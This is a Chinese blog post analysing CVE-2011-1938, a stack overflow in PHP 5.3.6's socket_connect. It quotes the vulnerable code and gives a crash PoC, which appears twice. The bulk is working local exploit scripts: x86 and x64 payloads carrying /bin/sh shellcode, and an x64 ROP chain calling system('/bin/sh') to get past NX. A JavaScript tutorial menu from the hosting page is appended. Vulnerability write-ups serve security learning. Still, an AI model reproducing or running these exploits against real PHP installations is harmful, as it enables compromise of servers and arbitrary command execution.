为安全出把力:CVE-2011-1938漏洞分析以及exp编写
## 0x01 前言
首先这是我第一次尝试在linux写实际的漏洞利用的exp,水平有限欢迎指出。本次要讲的是php的一个栈溢出漏洞,远程的exp说实在的,现在是不知道咋写,所以只能写个本地的,说不定以后就有思路了。欢迎大家一起与我多交流。
## 0x02 漏洞分析
本次漏洞很简单,我就直接拿别人分析过的贴上来了。
Vulnerable code
In ext/sockets/sockets.c:
```
PHP_FUNCTION(socket_connect)
{
zval *arg1;
php_socket *php_sock;
struct sockaddr_in sin;
#if HAVE_IPV6
struct sockaddr_in6 sin6;
#endif
struct sockaddr_un s_un; /* stack var */
char *addr;
int retval, addr_len;
long port = 0;
int argc = ZEND_NUM_ARGS();
[...]
case AF_UNIX:
memset(&s_un, 0, sizeof(struct sockaddr_un));
s_un.sun_family = AF_UNIX;
memcpy(&s_un.sun_path, addr, addr_len); /*没有限制参数导致拷贝的时候出现栈溢出漏洞 */
retval = connect(php_sock->bsd_socket, (struct sockaddr *) &s_un,
(socklen_t) XtOffsetOf(struct sockaddr_un, sun_path) + addr_len);
break;
[...]
}
```
## 0x03 漏洞利用
要注意的是由于拷贝的时候会覆盖到下面函数的指针,所以在写exp的时候可以将原来的地址填充进去。
可以运行poc来观察一下,我分别在X86和X64进行了实验。
poc.php
```
<?php
$pad = str_repeat("A", 500);
$fd = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret = socket_connect($fd, $pad);
?>
```
## 0x03 漏洞利用
要注意的是由于拷贝的时候会覆盖到下面函数的指针,所以在写exp的时候可以将原来的地址填充进去。
可以运行poc来观察一下,我分别在X86和X64进行了实验。
poc.php
```
<?php
$pad = str_repeat("A", 500);
$fd = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret = socket_connect($fd, $pad);
?>
```
### 一、X86下
GDB调试php,运行poc。观察到rax是个指针,读到了0x41414141无效地址,把这个地址改为正常地址,后面还有一处也还会覆盖,根据调试情况也进行更改。
之后编写可以覆盖到ret的半成品exp,代码如下:
```
<?php
$padd = str_repeat("A", 156)."x20x9dx72x08";
$pad2=str_repeat("B",12)."x18xccxffxbf";
$pad3=str_repeat("C",4)."DDDD";
$fd = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret = socket_connect($fd, $padd.$pad2.$pad3);
?>
```
可以观察到eip指针被覆盖为DDDD,最后根据调试,将exp编写完整。
```
<?php
$shellcode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80";
$padd = str_repeat("A", 131)."x20xbax74x08";
$pad1=$shellcode.$padd;
$pad2=str_repeat("B",12)."x18xccxffxbf";
$pad3=str_repeat("C",4)."x08xcbxffxbf";
$fd = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret = socket_connect($fd, $pad1.$pad2.$pad3);
?>
```
需要注意的是我在X86编译的时候没有开任何保护机制,gdb调试的时候shellcode在栈中的地址和实际环境中的是不一样的,所以需要开启code dump来得到实际shelllcode在栈中的地址,这个只是最常规的,最后运行exp得到shell。
### 二、X64下
在X64下,我分别写了没有保护机制和绕过NX的exploit,在X64一开始给我造成了很大的麻烦,因为我把X86的shellcode搬到了X64中,所以无论怎样都行不通。幸好调试的时候发现了这一点,因为参数传递发生了改变,所以shellcode也无法用了,最后写成的exp.php:
```
<?php
echo "[+] PHP 5.3.6 Buffer Overflow PoC (ROP)n";
echo "[+] CVE-2011-1938nn";
$shellcode="x48x31xc0x48x83xc0x3bx48x31xffx57x48xbfx2fx62x69x6ex2fx2fx73x68x57x48x8dx3cx24x48x31xf6x48x31xd2x0fx05";
$pad = $shellcode.str_repeat("A", 140);
$payload=$pad."x00x54xf5x00x00x00x00x00"."BBBBBBBBBBBBBBBBBBBBBBBB"."x50xb6xffxffxffx7fx00x00"."x22xb5xffxffxffx7f";
$fd = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret = socket_connect($fd, $payload);
?>
```
运行后得到shell。
写成的rop.php:
```
<?php
$system_addr="x90xc5xfcxf6xffx7fx00x00";
$binsh_addr="x03x65x10xf7xffx7fx00x00";
$popret="x45xbex74x00x00x00x00x00";
$padd = str_repeat("A", 174)."xb0x48xf5x00x00x00x00x00"."BBBBBBBBBBBBBBBB"."xf0x91xecxf7xffx7fx00x00"."DDDDDDDD".$popret.$binsh_addr.$system_addr;
$fd = socket_create(AF_UNIX, SOCK_STREAM, 1);
$ret = socket_connect($fd, $padd);
```
运行后得到shell。
其中的system地址和binsh地址都可以调试找到,popret这个地址可以通过rop工具搜索一下。
## 0x04 小结
本来想用mmap或者mprotect绕过NX,由于不熟练的原因,如果写下去会花费很长时间。其实上面所有的exp其实都只能算是个半成品,没有绕过所有的防护机制,后续会慢慢写下去,越来越熟练的。跟别人相比我总觉得我的exp写的很烂。
参考资料 http://shell-storm.org/blog/PHP-5.3.6-Buffer-Overflow-PoC-ROP/
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法